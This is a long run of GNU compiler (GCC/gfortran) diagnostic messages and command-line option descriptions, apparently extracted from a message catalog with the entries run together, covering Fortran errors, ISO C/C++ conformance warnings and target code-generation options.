loopEnd of nonblock DO statement at %C is within another blockEnd of search list.
Enforce class member access control semanticsEnforce strict alignmentEntity '%s' at %C is already present in the interfaceEntity with assumed character length at %L must be a dummy argument or a PARAMETEREnumerator exceeds the C integer type at %CEquivalence for '%s' does not match ordering of COMMON '%s' at %LError converting PARAMETER constant in complex constant at %CError converting integerError count reached limit of %d.Error in ORDER parameter of RESHAPE at %LError writing module file '%s' for writing: %sError writing modules file: %sError:Execution count is negativeExit %d->%d not recordedExit condition of DO WHILE loop at %L must be a scalar LOGICAL expressionExit on the first error occurredExpand cbranchdi4 pattern early into separate comparisons and branches.Expected ")" at %CExpected "," at %CExpected "," or end of statement at %CExpected '(' at %CExpected 'END INTERFACE ASSIGNMENT (=)' at %CExpected :: in TYPE definition at %CExpected = sign in PARAMETER statement at %CExpected P edit descriptorExpected PARAMETER symbol in complex constant at %CExpected a CASE or END SELECT statement following SELECT CASE at %CExpected a PURE procedure for argument '%s' at %LExpected a nameless interface at %CExpected a procedure for argument '%s' at %LExpected a right parenthesis in expression at %CExpected a step value in iterator at %CExpected alternate return label at %CExpected an initialization expression at %CExpected another dimension in array declaration at %CExpected array subscript at %CExpected array subscript stride at %CExpected attribute bit nameExpected block name of '%s' in %s statement at %CExpected case name of '%s' at %CExpected comma in I/O list at %CExpected exponent in expression at %CExpected expression at %C in PARAMETER statementExpected expression in %s statement at %CExpected expression in array specification at %CExpected expression typeExpected formal argument list in function definition at %CExpected initialization expression at %CExpected initialization expression in CASE at %CExpected integerExpected integer stringExpected label '%s' for %s statement at %CExpected left parenthesisExpected nameExpected real stringExpected right parenthesisExpected scalar initialization expression at %CExpected stringExpected structure component name at %CExpected terminating name at %CExpected the name of the SELECT CASE construct at %CExpected variable in READ statement at %CExpected variable name at %CExpected variable name at %C in PARAMETER statementExpecting %s statement at %CExpecting 'END INTERFACE %s' at %CExpecting 'END INTERFACE OPERATOR (%s)' at %CExpecting 'END INTERFACE OPERATOR (.%s.)' at %CExpecting list of named entities at %CExport functions even if they can be inlinedExpression at %L must be scalarExpression in ALLOCATE statement at %L must be ALLOCATABLE or a POINTERExpression in CASE statement at %L must be of type %sExpression in CASE statement at %L must be scalarExpression in DEALLOCATE statement at %L must be ALLOCATABLE or a POINTERExtension: $ descriptor at %CExtension: %s specifier in %s statement at %C has value '%s'Extension: BOZ constant at %C uses non-standard postfix syntaxExtension: BOZ literal at %L outside a DATA statement and outside INT/REAL/DBLE/CMPLXExtension: BOZ literal at %L used to initialize non-integer variable '%s'Extension: BYTE type at %CExtension: CONVERT tag at %LExtension: Character array in FORMAT tag at %LExtension: Conversion from %s to %s at %LExtension: Different type kinds at %LExtension: Evaluation of nonstandard initialization expression at %LExtension: Function %s at %L with entries returning variables of different string lengthsExtension: Hexadecimal constant at %C uses non-standard syntaxExtension: Hollerith constant at %CExtension: Missing comma at %CExtension: Missing positive width after L descriptor at %CExtension: Non-character in FORMAT tag at %LExtension: Old-style initialization at %CExtension: REAL array index at %LExtension: RETURN statement in main program at %CExtension: Tab character in format at %CExtension: Unary operator following arithmetic operator (use parentheses) at %CExtension: X descriptor requires leading space count at %CExtension: argument list function at %CExtension: backslash character at %CExtension: initialization of common block variable '%s' in DATA statement at %CExtension: re-initialization of '%s' at %LExternal '%s' at %L cannot have an initializerExternal IO UNIT cannot be an array at %LExternal object '%s' at %L may not have an initializerFORALL end expression at %L must be a scalar INTEGERFORALL index '%s' may not appear in triplet specification at %LFORALL index-name at %L must be a scalar INTEGERFORALL mask clause at %L requires a LOGICAL expressionFORALL start expression at %L must be a scalar INTEGERFORALL stride expression at %L cannot be zeroFORALL stride expression at %L must be a scalar %sFORMAT label %d at %L not definedFORMAT statement at %L does not have a statement labelFORMAT tag at %L must be of type CHARACTER or INTEGERFP exceptions are enabledFUNCTION at %C does not belong in a generic subroutine interfaceFUNCTION result %s can't be a POINTER in FUNCTION %s at %LFUNCTION result %s can't be an array in FUNCTION %s at %LFUNCTION result %s can't be of type %s in FUNCTION %s at %LFailure trying to reload:Fatal Error:File '%s' opened at %C is not a GFORTRAN module fileFirst argument of operator interface at %L cannot be optionalFirst argument of operator interface at %L must be INTENT(IN)First or last !$OMP ATOMIC intrinsic argument must be '%s' at %LFixed line length must be at least seven.Flag -fmax-stack-var-size=%d overwrites -frecursive implied by -fopenmpFlag -fno-automatic overwrites -fmax-stack-var-size=%dFlag -fno-automatic overwrites -frecursiveFlag -fno-automatic overwrites -frecursive implied by -fopenmpFlag -frecursive overwrites -fmax-stack-var-size=%dFollow Renesas (formerly Hitachi) / SuperH calling conventionsFollow the EABI linkage requirementsFor bug reporting instructions, please see:
%s.
For dummy procedure %s, no binding name is allowed in BIND(C) at %CFor intrinsics library: pass all parameters in registersForce functions to be aligned to a 4 byte boundaryForce the underlying type for "wchar_t" to be "unsigned short"Format statement in module main block at %CFortran 2003: "USE :: module" at %CFortran 2003: %s attribute with %s attribute at %LFortran 2003: %s attribute with %s attribute in '%s' at %LFortran 2003: %s specifier in %s statement at %C has value '%s'Fortran 2003: '%s' intrinsic with CHARACTER argument at %LFortran 2003: '%s' intrinsic with KIND argument at %LFortran 2003: '%s' is of a PRIVATE type and cannot be a dummy argument of '%s', which is PUBLIC at %LFortran 2003: ABSTRACT INTERFACE at %CFortran 2003: ALLOCATABLE attribute at %C in a TYPE definitionFortran 2003: Attribute %s at %L in a TYPE definitionFortran 2003: BIND(C) at %LFortran 2003: BOZ used outside a DATA statement at %CFortran 2003: COMMON block '%s' at %L that is also a function resultFortran 2003: COMMON block '%s' at %L that is also a global procedureFortran 2003: Derived type definition at %C without componentsFortran 2003: ENUM and ENUMERATOR at %CFortran 2003: Elemental function as initialization expression with non-integer/non-character arguments at %LFortran 2003: FLUSH statement at %CFortran 2003: Function '%s' as initialization expression at %LFortran 2003: IMPORT statement at %CFortran 2003: IOMSG tag at %LFortran 2003: ISO_C_BINDING module at %CFortran 2003: ISO_FORTRAN_ENV intrinsic module at %CFortran 2003: Internal file at %L with namelistFortran 2003: Noninteger exponent in an initialization expression at %LFortran 2003: PARAMETER symbol in complex constant at %CFortran 2003: PROCEDURE statement at %CFortran 2003: PROTECTED attribute at %CFortran 2003: PROTECTED statement at %CFortran 2003: PUBLIC %s '%s' at %L of PRIVATE derived type '%s'Fortran 2003: Procedure '%s' in PUBLIC interface '%s' at %L takes dummy arguments of '%s' which is PRIVATEFortran 2003: Procedure components at %C are not yet implemented in gfortranFortran 2003: Renaming operators in USE statements at %CFortran 2003: Scalar CHARACTER actual argument with array dummy argument '%s' at %LFortran 2003: VALUE attribute at %CFortran 2003: VALUE statement at %CFortran 2003: VOLATILE attribute at %CFortran 2003: VOLATILE statement at %CFortran 2003: [...] style array constructors at %CFortran 2003: module nature in USE statement at %CFortran 95 requires default INTEGER in %s tag at %LFree line length must be at least three.Function %s at %L has entries with mismatched array specificationsFunction '%s' at %C already has a type of %sFunction '%s' at %L cannot have an initializerFunction '%s' at %L has no IMPLICIT typeFunction '%s' at %L is INTRINSIC but is not compatible with an intrinsicFunction '%s' at %L must be PUREFunction '%s' called in lieu of an operator at %L must be PUREFunction '%s' in initialization expression at %L must be an intrinsic or a specification functionFunction '%s' is declared CHARACTER(*) and cannot be used at %L since it is not a dummy argumentFunction '%s' requires an argument list at %CFunction name '%s' not allowed at %CFunction reference to '%s' at %L is to a non-PURE procedure within a PURE procedureFunction result '%s' at %L cannot have an initializerFunction result '%s' at %L has no IMPLICIT typeFunction starts are aligned to this power of 2GCC cannot support operators with integer types and fixed-point types that have too many integral and fractional bits togetherGCC does not support -C or -CC without -EGCC supports only %u nested scopesGCC vector passed by reference: non-standard ABI extension with no compatibility guaranteeGCC vector returned by reference: non-standard ABI extension with no compatibility guaranteeGCSE disabledGENERIC procedure '%s' is not allowed as an actual argument at %LGMP version %s, MPFR version %s.
GNU Fortran comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of GNU Fortran
under the terms of the GNU General Public License.
For more information about these matters, see the file named COPYING

Generate 32-bit FPU-less SHmedia codeGenerate 32-bit SHmedia codeGenerate 32-bit codeGenerate 32-bit offsets in switch tablesGenerate 32bit i386 codeGenerate 64-bit FPU-less SHmedia codeGenerate 64-bit SHmedia codeGenerate 64-bit codeGenerate 64bit x86-64 codeGenerate APCS conformant stack framesGenerate C header of platform-specific featuresGenerate FPU-less SHcompact codeGenerate GFLOAT double precision codeGenerate H8/300H codeGenerate H8S codeGenerate H8S/2600 codeGenerate H8SX codeGenerate ILP32 codeGenerate LP64 codeGenerate MIPS16 codeGenerate PA1.0 codeGenerate PA1.1 codeGenerate PA2.0 code (requires binutils 2.10 or later)Generate PPC750CL paired-single instructionsGenerate SH1 codeGenerate SH2 codeGenerate SH2a FPU-less codeGenerate SH2a codeGenerate SH2e codeGenerate SH3 codeGenerate SH3e codeGenerate SH4 FPU-less codeGenerate SH4 codeGenerate SH4-100 FPU-less codeGenerate SH4-100 codeGenerate SH4-200 FPU-less codeGenerate SH4-200 codeGenerate SH4-300 FPU-less codeGenerate SH4-300 codeGenerate SH4a FPU-less codeGenerate SH4a codeGenerate SH4al-dsp codeGenerate SHcompact codeGenerate SPE SIMD instructions on E500Generate VRSAVE instructions when generating AltiVec codeGenerate a #line directive pointing at the current working directoryGenerate a call to abort if a noreturn function returnsGenerate a single exit point for each functionGenerate auto-inc/dec instructionsGenerate big endian codeGenerate big-endian codeGenerate branch hints for branchesGenerate call insns as indirect calls, if necessaryGenerate checks for references to NULLGenerate code for 18 bit addressingGenerate code for 32 bit addressingGenerate code for GNU asGenerate code for GNU assembler (gas)Generate code for GNU ldGenerate code for GNU runtime environmentGenerate code for ISA level NGenerate code for NeXT (Apple Mac OS X) runtime environmentGenerate code for SH4 340 series (MMU/FPU-less)Generate code for SH4 400 series (MMU/FPU-less)Generate code for SH4 500 series (FPU-less).Generate code for UNIX assemblerGenerate code for a 5206eGenerate code for a 520XGenerate code for a 528xGenerate code for a 5307Generate code for a 5407Generate code for a 68000Generate code for a 68010Generate code for a 68020Generate code for a 68030Generate code for a 68040Generate code for a 68040, without any new instructionsGenerate code for a 68060Generate code for a 68060, without any new instructionsGenerate code for a 68302Generate code for a 68332Generate code for a 68851Generate code for a ColdFire v4eGenerate code for a DLLGenerate code for a Fido AGenerate code for a cpu32Generate code for an 11/10Generate code for an 11/40Generate code for an 11/45Generate code for big-endianGenerate code for darwin loadable kernel extensionsGenerate code for functions even if they are fully inlinedGenerate code for given CPUGenerate code for huge switch statementsGenerate code for little-endianGenerate code for old exec BSS PLTGenerate code for the Boehm GCGenerate code for the M*Core M210Generate code for the M*Core M340Generate code for the given ISAGenerate code for the kernel or loadable kernel extensionsGenerate code for the specified chip or CPU versionGenerate code in big endian modeGenerate code in little endian modeGenerate code suitable for executables (NOT shared libs)Generate code suitable for fast turn around debuggingGenerate code that can be safely linked with MIPS16 code.Generate code that can be used in SVR4-style dynamic objectsGenerate code that conforms to the given ABIGenerate code that uses 68881 floating-point instructionsGenerate code that won't be linked against any other ID shared libraries,Generate code to check bounds before indexing arraysGenerate code to check exception specificationsGenerate code to use a non-exec PLT and GOTGenerate code which uses hardware floating point instructionsGenerate code with library calls for floating pointGenerate code without GP regGenerate cpp defines for server IOGenerate cpp defines for workstation IOGenerate debug information in COFF formatGenerate debug information in DWARF v2 formatGenerate debug information in STABS formatGenerate debug information in VMS formatGenerate debug information in XCOFF formatGenerate debug information in default extended formatGenerate debug information in default formatGenerate debug information in extended STABS formatGenerate debug information in extended XCOFF formatGenerate default single-precision SH2a codeGenerate default single-precision SH4 codeGenerate default single-precision SH4-100 codeGenerate default single-precision SH4-200 codeGenerate default single-precision SH4-300 codeGenerate default single-precision SH4a codeGenerate divide results with reminder having the same sign as the divisor (not the dividend)Generate fast indirect callsGenerate floating point mathematics using given instruction setGenerate floating-point multiply-add instructionsGenerate fused multiply/add instructionsGenerate inline floating point division, optimize for latencyGenerate inline floating point division, optimize for throughputGenerate inline integer division, optimize for latencyGenerate inline integer division, optimize for throughputGenerate inline square root, optimize for latencyGenerate inline square root, optimize for throughputGenerate instances of Class at runtimeGenerate isel instructionsGenerate lazy class lookup (via objc_getClass()) for use in Zero-Link modeGenerate little endian codeGenerate little-endian codeGenerate load/store multiple instructionsGenerate load/store with update instructionsGenerate make dependenciesGenerate make dependencies and compileGenerate normal-mode codeGenerate only single-precision SH2a codeGenerate only single-precision SH4 codeGenerate only single-precision SH4-100 codeGenerate only single-precision SH4-200 codeGenerate only single-precision SH4-300 codeGenerate only single-precision SH4a codeGenerate pc-relative codeGenerate phony targets for all headersGenerate position-independent code for executables if possible (large mode)Generate position-independent code for executables if possible (small mode)Generate position-independent code if possible (large mode)Generate position-independent code if possible (small mode)Generate prefetch instructions, if available, for arrays in loopsGenerate re-entrant, PIC codeGenerate reciprocals instead of divss and sqrtss.Generate run time type descriptor informationGenerate self-relocatable codeGenerate sin, cos, sqrt for FPUGenerate software reciprocal sqrt for better throughputGenerate special Objective-C methods to initialize/destroy non-POD C++ ivars, if neededGenerate string instructions for block movesGenerate unwind tables that are exact at each instruction boundaryGenerated should be loaded by bootstrap loaderGeneric function '%s' at %L is not consistent with a specific intrinsic interfaceGeneric subroutine '%s' at %L is not consistent with an intrinsic subroutine interfaceGive branches their default costGive external symbols a leading underscoreGlobal name '%s' at %L is already being used as a %s at %LHardware decimal floating point instructions not available in ESA/390 modeHardware decimal floating point instructions not available on %sHost associated variable '%s' may not be in the DATA statement at %CHow often to emit source location at the beginning of line-wrapped diagnosticsICE: emit_insn used where emit_jump_insn needed:
ID of shared library to buildID shared libraries and FD-PIC mode can't be used together.IF clause at %L requires a scalar LOGICAL expressionIMPORT statement at %C only permitted in an INTERFACE bodyINQUIRE statement at %L cannot contain both FILE and UNIT specifiersINQUIRE statement at %L requires either FILE or UNIT specifierINQUIRE statement not allowed in PURE procedure at %CINTENT (%s) conflicts with INTENT(%s) at %LINTERFACE procedure '%s' at %L has the same name as the enclosing procedureIOLENGTH tag invalid in INQUIRE statement at %CISO C does not support %<++%> and %<--%> on complex typesISO C does not support %<~%> for complex conjugationISO C does not support complex integer typesISO C does not support decimal floating pointISO C does not support fixed-point typesISO C does not support plain %<complex%> meaning %<double complex%>ISO C does not support saturating typesISO C doesn%'t support unnamed structs/unionsISO C forbids %<goto *expr;%>ISO C forbids %<return%> with expression, in function returning voidISO C forbids assignment between function pointer and %<void *%>ISO C forbids casting nonscalar to the same typeISO C forbids casts to union typeISO C forbids comparison of %<void *%> with function pointerISO C forbids conditional expr between %<void *%> and function pointerISO C forbids conditional expr with only one void sideISO C forbids const or volatile function typesISO C forbids conversion of function pointer to object pointer typeISO C forbids conversion of object pointer to function pointer typeISO C forbids forward parameter declarationsISO C forbids initialization between function pointer and %<void *%>ISO C forbids ordered comparisons of pointers to functionsISO C forbids passing argument %d of %qE between function pointer and %<void *%>ISO C forbids qualified function typesISO C forbids return between function pointer and %<void *%>ISO C forbids subscripting %<register%> arrayISO C forbids zero-size array %qsISO C prohibits argument conversion to union typeISO C restricts enumerator values to range of %<int%>ISO C++ 1998 does not support %<long long%>ISO C++ does not allow designated initializersISO C++ does not permit %<%T::%D%> to be defined as %<%T::%D%>ISO C++ forbids %s between pointer of type %<void *%> and pointer-to-functionISO C++ forbids applying %<__alignof%> to an expression of function typeISO C++ forbids applying %<sizeof%> to an expression of function typeISO C++ forbids braced-groups within expressionsISO C++ forbids calling %<::main%> from within programISO C++ forbids casting between pointer-to-function and pointer-to-objectISO C++ forbids casting to an array type %qTISO C++ forbids comparison between pointer and integerISO C++ forbids compound-literalsISO C++ forbids computed gotosISO C++ forbids declaration of %qs with no typeISO C++ forbids decrementing a pointer of type %qTISO C++ forbids decrementing an enumISO C++ forbids in-class initialization of non-const static member %qDISO C++ forbids incrementing a pointer of type %qTISO C++ forbids incrementing an enumISO C++ forbids initialization in array newISO C++ forbids initialization of member %qDISO C++ forbids initialization of member constant %qD of non-integral type %qTISO C++ forbids nested type %qD with same name as enclosing classISO C++ forbids omitting the middle term of a ?: expressionISO C++ forbids subscripting non-lvalue arrayISO C++ forbids taking address of function %<::main%>ISO C++ forbids taking the address of a bound member function to form a pointer to member function.  Say %<&%T::%D%>ISO C++ forbids taking the address of a cast to a non-lvalue expressionISO C++ forbids taking the address of an unqualified or parenthesized non-static member function to form a pointer to member function.  Say %<&%T::%D%>ISO C++ forbids the use of %qE on explicit instantiationsISO C++ forbids use of initializer list to initialize reference %qDISO C++ forbids using pointer of type %<void *%> in subtractionISO C++ forbids using pointer to a function in subtractionISO C++ forbids using pointer to a method in subtractionISO C++ forbids variable length arrayISO C++ forbids variable length array %qDISO C++ forbids zero-size arrayISO C++ forbids zero-size array %qDISO C++ prohibits anonymous structsISO C++ prohibits overloading operator ?:ISO C++ says that these are ambiguous, even though the worst conversion for the first is better than the worst conversion for the second:ISO C90 does not support %<[*]%> array declaratorsISO C90 does not support %<long long%>ISO C90 does not support %<static%> or type qualifiers in parameter array declaratorsISO C90 does not support complex typesISO C90 does not support flexible array membersISO C90 forbids array %qs whose size can%'t be evaluatedISO C90 forbids array whose size can%'t be evaluatedISO C90 forbids subscripting non-lvalue arrayISO C90 forbids variable length arrayISO C90 forbids variable length array %qsIf -ftree-vectorize is used, the minimal loop bound of a loop to be considered for vectorizationIf -fvariable-expansion-in-unroller is used, the maximum number of times that an individual variable will be expanded during loop unrollingIf first argument of ATAN2 %L is zero, then the second argument must not be zeroIf number of candidates in the set is smaller, we always try to remove unused ivs during its optimizationIf scheduling post reload, do superblock schedulingIf scheduling post reload, do trace schedulingIf set, control speculative instructions will be chosen for schedule only if there are no other choices at the moment If set, data speculative instructions will be chosen for schedule only if there are no other choices at the moment Ignore 'D' in column one in fixed formIgnore dllimport attribute for functionsIgnore dllimport for functionsIgnore read operations when inserting mudflap instrumentationIgnored (obsolete)Ignoring statement label in empty statement at %CIllegal STAT variable in %s statement at %C for a PURE procedureIllegal character in BOZ constant at %CIllegal deallocate-expression in DEALLOCATE at %C for a PURE procedureIllegal reference type at %L as EQUIVALENCE objectIllegal stride of zero at %LIllegal variable in NULLIFY at %C for a PURE procedureImplement vtables using thunksImplicitly declared BIND(C) function '%s' at %L may not be C interoperableImplicitly declared BIND(C) variable '%s' at %L may not be C interoperableImplicitly typed PARAMETER '%s' at %L doesn't match a later IMPLICIT typeIn %+D: overlapped variable and exception ranges at %dIn C++, nonzero means warn about deprecated conversion from string literals to `char *'.  In C, similar warning, except that the conversion is of course not deprecated by the ISO C standard.In function %qsIn member function %qsInclude the contents of <file> before other filesIncompatible derived type in PARAMETER at %LIncompatible ranks %d and %d in assignment at %LIncompatible ranks in %s (%d and %d) at %LInconsistent equivalence rules involving '%s' at %L and '%s' at %LInconsistent ranks for operator at %%L and %%LIncorrect function return valueIncrease the IEEE compliance for floating-point codeIndex in dimension %d is out of bounds at %LIndicate the number of soft registers availableInitialization at %C is not allowed in a PURE procedureInitialization at %C isn't for a pointer variableInitialization expression didn't reduce %CInitialization of allocatable component at %C is not allowedInitialization of pointer at %C is not allowed in a PURE procedureInitialization of variable at %C is not allowed in a PURE procedureInitialize local variables to zero (from g77)Initialized symbol '%s' at %C can only be COMMON in BLOCK DATAInitialized variable '%s' at %L is in a blank COMMON but initialization is only allowed in named common blocksInitializer not allowed for PARAMETER '%s' at %CInitializing already initialized variable at %CInject friend functions into enclosing namespaceInline all known string operationsInline constants if it can be done in 2 insns or lessInline member functions by defaultInline memset/memcpy string operations, but perform inline version only for small blocksInline recursively only when the probability of call being executed exceeds the parameterInput file is a file with a list of filenames to compileInsert arc-based program profiling codeInsert code to profile values of expressionsInsert stack checking code into the programInstrument function entry and exit with profiling callsInteger expression required at %CInteger kind %d at %C not availableInteger outside symmetric range implied by Standard Fortran at %LInteger outside symmetric range implied by Standard Fortran converting %s to %s at %LInteger overflowInteger too big for integer kind %i at %CInteger too big for its kind at %C. This check can be disabled with the option -fno-range-checkInteger too large at %CInteger too large in shape specification at %LInteger value too large in expression at %CIntegrate functions called once into their callersIntegrate simple functions into their callersIntegrate simple functions into their callers when code size is known to not growthInterface '%s' at %C may not be a statement functionInterface '%s' at %C may not be genericInterface '%s' of procedure '%s' at %L must be explicitInterface '%s', used by procedure '%s' at %L, is declared in a later PROCEDURE statementInternal Error at (1):Internal compiler error: Error reporting routines re-entered.
Internal error: %s (program %s)
Please submit a full bug report.
See %s for instructions.Internal procedure '%s' is not allowed as an actual argument at %LInternal unit with vector subscript at %LIntersperse literal pools with code in the text sectionIntrinsic '%s' at %L cannot have an initializerIntrinsic '%s' at %L is not allowed as an actual argumentIntrinsic '%s' at %L must have at least two argumentsIntrinsic TRANSFER at %L has partly undefined result: source size %ld < result size %ldIntrinsic function %s(%d) not recognizedIntrinsic function '%s' at %L is not permitted in an initialization expressionIntrinsic operator '%s' referenced at %L not found in module '%s'Intrinsic operator interface at %L must be a FUNCTIONIntrinsic procedure '%s' not allowed in PROCEDURE statement at %CIntrinsic subroutine '%s' at %L shall not have a type specifierInvalid C name in NAME= specifier at %CInvalid Hollerith constant: %L must contain at least one characterInvalid Hollerith constant: Integer kind at %L should be defaultInvalid KIND parameter of %s at %LInvalid character in name at %CInvalid context for NULL() pointer at %%LInvalid form of PROGRAM statement at %CInvalid form of array reference at %CInvalid initializer %s in Data statement at %CInvalid kind %d for CHARACTER constant at %CInvalid kind for %s at %LInvalid permutation in ORDER parameter at %LInvalid real kind %d at %CInvalid second argument of IBCLR at %LInvalid second argument of IBITS at %LInvalid second argument of IBSET at %LInvalid second argument of ISHFT at %LInvalid second argument of ISHFTC at %LInvalid third argument of IBITS at %LInvalid third argument of ISHFTC at %LIssue warnings needed for strict compliance to the standardIterator step at %L cannot be zeroJava class %q#T object allocated using placement newJava class %qT cannot have a destructorJava class %qT cannot have an implicit non-trivial destructorJava class %qT cannot have multiple basesJava class %qT cannot have virtual basesJava method %qD has non-Java parameter type %qTJava method %qD has non-Java return type %qTJava object %qD not allocated with %<new%>Jump targets are aligned to this power of 2Just generate unwind tables for exception handlingJust use icc0/fcc0KIND parameter of %s at %L must be an initialization expressionKeyword '%s' at %C has already appeared in the current argument listKeyword argument '%s' at %L is already associated with another actual argumentKeyword argument '%s' at %L is not in the procedureKind %d is not supported for CHARACTER at %CKind %d not supported for type %s at %CL%d cache latency unknown for %sLOGICAL operands are required in expression at %LLabel %d at %C already referenced as a format labelLabel %d at %C already referenced as branch targetLabel %d at %C previously used as a FORMAT labelLabel %d at %C previously used as branch targetLabel %d at %L defined but cannot be usedLabel %d at %L defined but not usedLabel %d referenced at %L is never definedLabel '%s' at %C doesn't match IF label '%s'Label '%s' at %C doesn't match WHERE label '%s'Label at %L is not in the same block as the GOTO statement at %LLabel name '%s' at %C is ambiguousLetter %c already has an IMPLICIT type at %CLetter '%c' already set in IMPLICIT statement at %CLetters must be in alphabetic order in IMPLICIT statement at %CLift restrictions on GOT sizeLike -M but ignore system header filesLike -MD but ignore system header filesLike -pedantic but issue them as errorsLimit diagnostics to <number> characters per line.  0 suppresses line-wrappingLimit of %d continuations exceeded in statement at %CLimit the size of inlined functions to <number>Line truncated at %CLines executed:%s of %d
Link to emit program in ELF format (rather than mmo)Link with libads.a, libc.a and crt0.oLink with libmvme.a, libc.a and crt0.oLink with libsim.a, libc.a and sim-crt0.oLink with libyk.a, libc.a and crt0.oLink with the fast floating-point libraryLink with the library-pic librariesList all available debugging counters with their limits and counts.Logical SELECT CASE block at %L has more that two casesLogical range in CASE statement at %L is not allowedLogicals at %%L must be compared with %s instead of %sLook for and use PCH files even when preprocessingLoop code aligned to this power of 2Loop variable '%s' at %C cannot be INTENT(IN)Loop variable at %C cannot be a sub-componentLoops iterating at least selected number of iterations will get loop alignement.Lower array reference at %L is out of bounds (%ld < %ld) in dimension %dLower array reference at %L is out of bounds (%ld > %ld) in dimension %dMCU %qs supported for assembler onlyMIPS16 TLSMMIX Internal: %s is not a shiftable intMMIX Internal: Bad register: %dMMIX Internal: Bad value for 'm', not a CONST_INTMMIX Internal: Cannot decode this operandMMIX Internal: Expected a CONST_INT, not thisMMIX Internal: Expected a constant, not thisMMIX Internal: Expected a register, not thisMMIX Internal: Last named vararg would not fit in a registerMMIX Internal: Missing %qc case in mmix_print_operandMMIX Internal: This is not a constant:MMIX Internal: This is not a recognized addressMMIX Internal: Trying to output invalidly reversed condition:MMIX Internal: What is the CC of this?MMIX Internal: What's the CC of this?MMX vector argument without MMX enabled changes the ABIMMX vector return without MMX enabled changes the ABIMODULE PROCEDURE at %C must be in a generic module interfaceMULT case in cris_op_strMagnitude of second argument of ISHFT exceeds bit size at %LMagnitude of second argument of ISHFTC exceeds BIT_SIZE of first argument at %LMagnitude of second argument of ISHFTC exceeds third argument at %LMagnitude of third argument of ISHFTC exceeds BIT_SIZE of first argument at %LMaintain backchain pointerMake "char" signed by defaultMake "char" unsigned by defaultMake compile reproducible using <string>Make integers 32 bits wideMake structs a multiple of 4 bytes (warning: ABI altered)Make sure loads and stores are not moved past DMA instructionsMake the linker relaxation machine assume that a program counter wrap-around occures.Map one directory name to another in debug informationMark <register> as being corrupted by function callsMark <register> as being preserved across functionsMark <register> as being unavailable to the compilerMark MAC register as call-clobberedMarks all inlined methods as having hidden visibilityMaximal code growth caused by tail duplication (in percent)Maximal growth due to inlining of large function (in percent)Maximal stack frame growth due to inlining (in percent)Maximum identifier lengthMaximum length for subrecordsMaximum length of partial antic set when performing tree pre optimizationMaximum number of errors to reportMaximum number of fields in a structure before pointer analysis treats the structure as a single variableMaximum number of statements allowed in a block that needs to be duplicated when threading jumpsMaximum size of a SCC before SCCVN stops processing a functionMaximum subrecord length cannot exceed %dMaximum supported identifier length is %dMemory allocation failedMemory partitions should have at least one symbolMin/max instructions allowedMin/max instructions not allowedMinimum heap expansion to trigger garbage collection, as a percentage of the total size of the heapMinimum heap size before we start collecting garbage, in kilobytesMinimum number of virtual mappings to consider switching to full virtual renamesMissing '&' in continued character constant at %CMissing SHAPE parameter for call to %s at %LMissing actual argument '%s' in call to '%s' at %LMissing actual argument for argument '%s' at %LMissing alternate return spec in subroutine call at %LMissing argument list in function '%s' at %CMissing argument to '%s' at %CMissing arguments to %s intrinsic at %LMissing array specification at %L in DIMENSION statementMissing character range in IMPLICIT at %CMissing closing paren for binding label at %CMissing closing quote '"' for binding label at %CMissing closing quote ''' for binding label at %CMissing dimension specification at %CMissing entity or common block name for attribute specification statement at %CMissing exponent in real number at %CMissing format label at %CMissing generic specification in USE statement at %CMissing keyword name in actual argument list at %CMissing kind-parameter at %CMissing leading left parenthesisMissing required parentheses before BIND(C) at %CMissing right parenthesis at %CMissing right parenthesis or comma at %CModule %s at line %d column %d: %sModule nature in USE statement at %C shall be either INTRINSIC or NON_INTRINSICMore actual than formal arguments in '%s' call at %LMore actual than formal arguments in procedure call at %LMove loop invariant computations out of loopsMultiple identifiers provided with single NAME= specifier at %CNAME not allowed on BIND(C) for ABSTRACT INTERFACE at %CNAMELIST array object '%s' must have constant shape in namelist '%s' at %LNAMELIST array object '%s' must not have assumed shape in namelist '%s' at %LNAMELIST object '%s' has PRIVATE components and cannot be a member of PUBLIC namelist '%s' at %LNAMELIST object '%s' has use-associated PRIVATE components and cannot be member of namelist '%s' at %LNAMELIST object '%s' in namelist '%s' at %L cannot have ALLOCATABLE componentsNAMELIST object '%s' in namelist '%s' at %L cannot have POINTER componentsNAMELIST object '%s' was declared PRIVATE and cannot be member of PUBLIC namelist '%s' at %LNOTE_INSN_BASIC_BLOCK %d in middle of basic block %dNOTE_INSN_BASIC_BLOCK is missing for block %dNULL appears on right-hand side in assignment at %LNULL pointer at %L is not permitted as actual argument of '%s' intrinsic functionNULL used in arithmeticNULL() initialization at %C is ambiguousNUM_THREADS clause at %L requires a scalar INTEGER expressionName '%s' at %C is already defined as a generic interface at %LName '%s' at %C is an ambiguous reference to '%s' from current program unitName '%s' at %C is an ambiguous reference to '%s' from module '%s'Name '%s' at %C is the name of the procedureName '%s' in %s statement at %C is not a loop nameName '%s' of ABSTRACT INTERFACE at %C cannot be the same as an intrinsic typeName after !$omp critical and !$omp end critical does not match at %CName at %C is too longName too longNamed COMMON block '%s' at %L shall be of the same sizeNamed constant '%s' at %L cannot be an EQUIVALENCE objectNamed constant at %C in an EQUIVALENCENamelist %s cannot be renamed by USE association to %sNamelist group name '%s' at %C already has a basic type of %sNamelist group name '%s' at %C already is USE associated and cannot be respecified.Need a call-clobbered target registerNeed a second call-clobbered general purpose registerNeed either entity or common block name for attribute specification statement at %CNo binding name is allowed in BIND(C) at %CNo branches
No calls
No default crt0.oNo executable lines
Non-ELEMENTAL user-defined assignment in WHERE at %LNon-THREADPRIVATE object '%s' in COPYIN clause at %LNon-numeric character in statement label at %CNonconforming tab character at %CNonconforming tab character in column %d of line %dNonconstant array section at %L in DATA statementNonnegative width requiredNonstandard type declaration %s*%d at %CNot a valid Java .class file.
